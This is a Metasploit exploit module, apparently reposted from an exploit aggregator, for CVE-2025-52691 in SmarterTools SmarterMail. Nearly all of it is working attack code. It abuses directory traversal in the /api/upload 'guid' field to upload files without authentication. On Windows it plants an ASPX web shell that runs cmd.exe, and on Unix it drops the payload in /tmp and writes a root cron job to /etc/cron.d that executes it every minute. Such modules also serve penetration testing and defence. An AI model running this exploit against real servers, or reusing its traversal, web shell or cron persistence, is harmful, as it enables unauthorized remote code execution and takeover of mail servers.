Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-SMARTERMAIL_GUID_FILE_UPLOAD-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Smartermail
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
        'Description' => %q{
          This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
          The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
          "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
          upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
        },
        'Author' => [
          'Piotr Bazydlo', # PoC write up
          'Sina Kheirkhah', # PoC write up
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
          [ 'CVE', '2025-52691']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :nix,
              'BadChars' => "'",
              'DefaultOptions' => {
                'WfsDelay' => 70
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win,
              'BadChars' => '"'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-10-09',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
        OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
        OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
        OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
      ]
    )
  end

  def windows_payload_wrapper
    vars = Rex::RandomIdentifier::Generator.new

    <<~EOF
      <%@ Page Language="C#" Debug="true" Trace="false" %>
      <%@ Import Namespace="System.Diagnostics" %>
      <script Language="c#" runat="server">
      void Page_Load(object sender, EventArgs e)
      {
      ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
      #{vars[:process_start_info]}.FileName = "cmd.exe";
      #{vars[:process_start_info]}.Arguments =  "/c "+ @"#{payload.encoded}";
      #{vars[:process_start_info]}.RedirectStandardOutput = true;
      #{vars[:process_start_info]}.UseShellExecute = false;
      Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
      }
      </script>
    EOF
  end

  def check
    check_version('100.0.9413')
  end

  def upload_payload(target_dir, filename, payload_contents)
    post_data = Rex::MIME::Message.new
    resumable_filename = Rex::Text.rand_text_alpha(4..8)
    resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from

    post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
    post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
    post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
    post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
    post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )

    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
    json_output = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
    json_output['key'] =~ %r{([^/]+)$}
    uploaded_filename = Regexp.last_match(1)
    print_good("The uploaded payload file is named: #{uploaded_filename}")
    uploaded_filename
  end

  def exploit
    payload_name = Rex::Text.rand_text_alpha(4..8)
    if target['Platform'] == 'win'
      target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
      print_status("Uploading payload to #{target_dir}...")
      uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
      register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

      datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, uploaded_filename),
        'method' => 'GET'
      )
    else
      target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
      print_status("Uploading payload to #{target_dir}...")
      uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
      register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

      payload_path = "#{target_dir}/#{uploaded_filename}"
      cron_command = "chmod +x #{payload_path} && #{payload_path}&"
      cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
      cron_filename = Rex::Text.rand_text_alpha(8..12)
      cron_target_dir = '/etc/cron.d'
      print_status('Uploading cronjob to call payload...')
      uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
      register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
    end
  end
end